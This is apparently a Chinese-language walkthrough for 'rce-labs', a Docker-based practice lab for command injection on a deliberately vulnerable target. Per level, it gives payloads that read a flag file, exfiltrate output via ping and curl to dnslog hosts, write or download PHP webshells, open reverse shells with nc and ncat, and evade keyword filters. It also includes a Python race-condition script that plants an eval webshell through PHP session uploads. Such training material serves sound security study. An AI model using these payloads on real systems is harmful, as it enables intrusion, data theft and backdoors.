rce-labs writeup
# 部署
# 安装docker、docker compose
推荐使用项目 https://github.com/SuperManito/LinuxMirrors
使用 root 权限执行以下命令安装 Docker 和 Docker Compose:
GNU/Linux 更换系统软件源
bash <(curl -sSL https://linuxmirrors.cn/main.sh)
Docker 安装与换源
bash <(curl -sSL https://linuxmirrors.cn/docker.sh)
Docker 更换镜像加速器
bash <(curl -sSL https://linuxmirrors.cn/docker.sh) --only-registry
# docker compose(推荐)
git clone https://hk.gh-proxy.org/https://github.com/Apursuit/rce-labs.git
cd rce-labs/docker
docker-compose up -d
2
3
访问 http://ip:8080/
# docker
docker run -d -p 8080:80 --name rce-lab-latest the0n3/rce-labs:latest
访问 http://ip:8080/
# 写在前面
前面关卡,大多是讲解文件读取命令,让一些新人在面对基础的waf时,能够多一个文件读取的思路,后面关卡会逐渐增加一些绕过的难度,建议大家在做题的时候,先自己想一想,如果实在想不出来,可以参考一下 writeup,或者直接看 writeup 来学习一些新的思路和方法。
# 题解
# less-1
cat 读取文件内容
cat /flag
# less-2
tac 反向读取文件内容
tac /flag
# less-3
head 读取文件前 n 行,默认是 10 行,可以通过 -n 参数指定读取的行数
head -n 20 /flag
# less-4
tail 读取文件后 n 行,默认是 10 行,可以通过 -n 参数指定读取的行数
tail -n 20 /flag
# less-5
more 读取文件内容,没有固定的默认行数,它的行为取决于终端窗口的大小,默认填满屏幕
more /flag
# less-6
less 读取文件内容,默认填满屏幕
less /flag
# less-7
nl 读取文件内容,默认显示行号
nl /flag
# less-8
sort 读取文件内容,默认按照字典序排序
sort /flag
# less-9
uniq 读取文件内容,默认去重相邻的重复行
uniq /flag
# less-10
dd 读取文件内容,默认删除文件内容
dd if=/flag of=/dev/stdout
# less-11
rev 反转文件内容,再次反转可以得到原内容
rev /flag | rev
# less-12
od 以八进制、十六进制、十进制等格式输出文件内容,默认以八进制输出
od -A none -t x1 /flag
# less-13
xxd 以十六进制和 ASCII 格式输出文件内容,默认以十六进制和 ASCII 格式输出
xxd -p /flag
# less-14
hexdumps 以十六进制和 ASCII 格式输出文件内容,默认以十六进制和 ASCII 格式输出
hexdump -C /flag
# less-15
base32 以 base32 编码输出文件内容,默认以 base32 编码输出
base32 /flag
# less-16
base64 以 base64 编码输出文件内容,默认以 base64 编码输出
base64 /flag | base64 -d
# less-17
strings 以字符串形式输出文件内容,默认以字符串形式输出
strings /flag
# less-18
grep 以正则表达式匹配文件内容,默认以正则表达式匹配文件内容,使用 . 匹配所有内容
grep . /flag
# less-19
file 判断文件类型,默认判断文件类型,可以指定文件,判断文件列表里的文件类型,如果文件里的文件名不存在,会报错,从而读取文件内容
file -f /flag
# less-20
date 以日期格式输出文件内容,默认以日期格式输出,可以指定输入文件,读取文件内容并以日期格式输出
echo $(date -f /flag 2>&1)
# less-21
diff 以比较文件内容的方式输出文件内容,默认比较两个文件的内容
diff /flag /etc/passwd
# less-22
find 以查找文件的方式输出文件内容,默认查找当前目录下的文件,这关找到题目指引的 findme.txt即可
find / -name findme.txt 2>/dev/null
# less-23
cp 复制文件,可以利用 linux 的符号链接机制,复制文件到 /dev/stdout 来输出文件内容
cp /flag /dev/stdout
或者把 /flag 复制到 web目录读取
cp /flag /var/www/html/flag.txt
# less-24
mv 移动或重命名文件,把 /flag 移动到 web目录读取
mv /flag /var/www/html/flag.txt
# less-25
ping 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网
推荐一个 dnslog 平台 https://eyes.sh/dns/
使用浏览器搜索 dnslog,找到一个可用的dnslog 平台,获取一个域名,然后把命令执行结果拼接到这个域名上,发送网络请求
如果你找不到读取命令了,你可以尝试执行这个flag文件,大概率可能会报错,把报错信息拼接到域名上发送网络请求,读取到文件内容,注意payload要进行url编码
ping `php /flag 2>&1`.xxx.eyes.sh
# less-26
curl 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网
curl http://xru706nu.eyes.sh -d "data=$(php /flag 2>&1)"
可以在这个dnslog 平台看到请求
REQUEST_METHOD: POST
HTTP_HOST: xxxx.eyes.sh
HTTP_X_REAL_IP: x.x.x.x
HTTP_X_FORWARDED_FOR: x.x.x.x
HTTP_X_FORWARDED_PROTO: http
HTTP_CONNECTION: close
CONTENT_LENGTH: 9
HTTP_USER_AGENT: curl/8.17.0
HTTP_ACCEPT: */*
CONTENT_TYPE: application/x-www-form-urlencoded
data=1111
2
3
4
5
6
7
8
9
10
11
12
# less-27
echo 输出内容重定向到文件,可以达到写入webshell的目的
echo "<?=phpinfo();?>" > shell.php
echo '<?=system($_GET["cmd"]);?>' > shell.php
2
# less-28
wget 命令可以下载文件,利用这个特性可以把远程的 webshell 下载到本地,达到写入 webshell 的目的
wget https://the0n3.top/shell/1.txt -O shell.php
# less-29
nc 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网,与远程主机建立连接,反弹shell是最常见的用法
靶机,其中 x.x.x.x 是攻击机的ip,靶机是 alpine,自带的 nc 命令不支持反弹shell,可以使用 busybox 的 nc 命令,busybox 是 alpine 的基础镜像,自带的,同时靶机安装了bash
busybox nc x.x.x.x 4444 -e bash
攻击机
nc -lvnp 4444
# less-30
ncat 反弹shell,ncat 是 nmap 的一个组件,功能类似于 nc,但支持更多的功能和协议,ncat 支持反弹shell,可以使用 ncat 的 -e 参数指定要执行的命令
但是这关过滤了 nc 关键词,ncat 存在误伤,所以题目要求先往后做,学习绕过后在回来,这里使用简单的绕过演示
靶机
n''c''at x.x.x.x 4444 -e /bin/bash
攻击机
nc -lvnp 4444
# less-31
sed 命令可以对文本进行处理,可以编辑替换文件内容
不进行替换,直接把文件内容输出到标准输出
sed '' /flag
在开头插入内容
- -i 在开头插入内容
- -ni 在第n行前插入内容
sed -i '2i phpinfo();' index.php
在结尾插入内容
- $ 最后一行
- a 追加内容
sed -i '$a phpinfo();' index.php
# less-32
使用通配符 ? 匹配单个字符
/bin/ca? /flag
# less-33
使用通配符 * 匹配任意数量的字符
/bin/m*re /flag
# less-34
使用通配符 [ ] 匹配指定范围内的字符
/bin/[c][a][t] /flag
# less-34a
通过shell变量拼接,绕过过滤
a=ca;b=t;c=$a$b;$c /flag
# less-35
linux 使用 ; 分隔多个命令,可以在一行执行多个命令
;cat /flag
# less-36
linux 使用 && 分隔多个命令,前一个命令执行成功后才会执行后一个命令,注意在get请求时,& 是特殊字符,需要进行 url 编码,编码后是 %26
&& cat /flag
# less-37
linux 使用 || 分隔多个命令,前一个命令执行失败后才会执行后一个命令,前面是ls命令,后面拼接一个不存在的目录即可
111|| cat /flag
# less-38
linux 可以有命令替换语法,使用反引号 ` 或者 $() 来执行命令,并把输出结果替换到命令行中,这个过程发生在变量展开之前,所以可以利用这个特性来绕过一些过滤,执行命令
`cat /flag` 2>/dev/stdout
# less-38a
同上,使用 $() 来执行命令,并把输出结果替换到命令行中
$(cat /flag) 2>/dev/stdout
# less-39
绕过注释,linux 的注释符号是 #,在命令行中,# 后面的内容会被当做注释忽略掉,可以换行执行绕过注释的效果,url传入url编码的%0a换行符
%0acat /flag
# less-40
绕过空格,使用tab键或者其他空白字符来替代空格,url传入url编码的%09制表符
cat%09/flag
# less-41
绕过空格,使用 $IFS 来替代空格,IFS 是 linux 的内部字段分隔符,默认是空格、制表符和换行符
cat$IFS/flag
# less-42
绕过空格,使用 ${IFS} 来替代空格,${} 是 linux 的参数扩展语法,可以用来获取变量的值,或者在变量名中使用特殊字符
cat${IFS}/flag
# less-43
绕过空格,使用 bash 的 {cmd,parm}语法执行命令
{cat,/flag}
# less-44
绕过黑名单关键词,使用单引号 ' 来绕过过滤,在命令里面使用单引号把关键词分隔开来,在变量展开前单引号会被当做普通字符,命令执行时会被去掉
ca''t /flag
# less-45
双引号同样可以
ca""t /flag
# less-46
绕过黑名单关键词,使用 ? 来绕过过滤,? 是 linux 的通配符,匹配任意单个字符,可以用来替代关键词中的某个字符
/bin/ca?</flag
# less-47
绕过黑名单关键词,使用 * 来绕过过滤,* 是 linux 的通配符,匹配任意数量的字符,可以用来替代关键词中的多个字符
/bin/m*re</flag
# less-48
绕过黑名单关键词,使用 \ 来绕过过滤,\ 是 linux 的转义字符,在变量展开前,\ 后面的字符会被当做普通字符,可以用来分隔关键词中的字符
/bin/ca\t</flag
# less-49
绕过黑名单关键词,使用 $@ 来绕过过滤,$@ 是 linux 的特殊变量,表示所有位置参数的列表,在变量展开时,$@ 会被替换成所有位置参数的值,可以用来替代关键词中的多个字符
ca$@t</flag
# less-50
需要利用php的session临时文件,具体参考 https://github.com/Apursuit/rce-labs/issues/3
import io
import requests
import threading
url = 'http://192.168.6.100:32769/less-50/'
sessionid = 'aaa'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':"""
# php 执行内容
# <?php system("echo 'php code<?php highlight_file(__FILE__);eval(\\$_POST[1]);?>' > /var/www/html/less-50/shell.php");?>
# sh 执行内容
echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-50/shell.php
"""},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
# 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
session.get(url+'?cmd=sh<>/tmp/sess_'+sessionid) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ;
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(10):
threading.Thread(target = write,args = (session,)).start()
for i in range(10):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# less-52
上题脚本稍加修改
import io
import requests
import threading
url = 'http://192.168.6.100:32769/less-52/'
sessionid = 'aaa'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':"""
# php 执行内容
# <?php system("echo 'php code<?php highlight_file(__FILE__);eval(\\$_POST[1]);?>' > /var/www/html/less-52/shell.php");?>
# sh 执行内容
echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-52/shell.php
"""},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
# 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
session.get(url+'?cmd=sh<>/tmp/sess_'+sessionid) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ;
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(10):
threading.Thread(target = write,args = (session,)).start()
for i in range(10):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42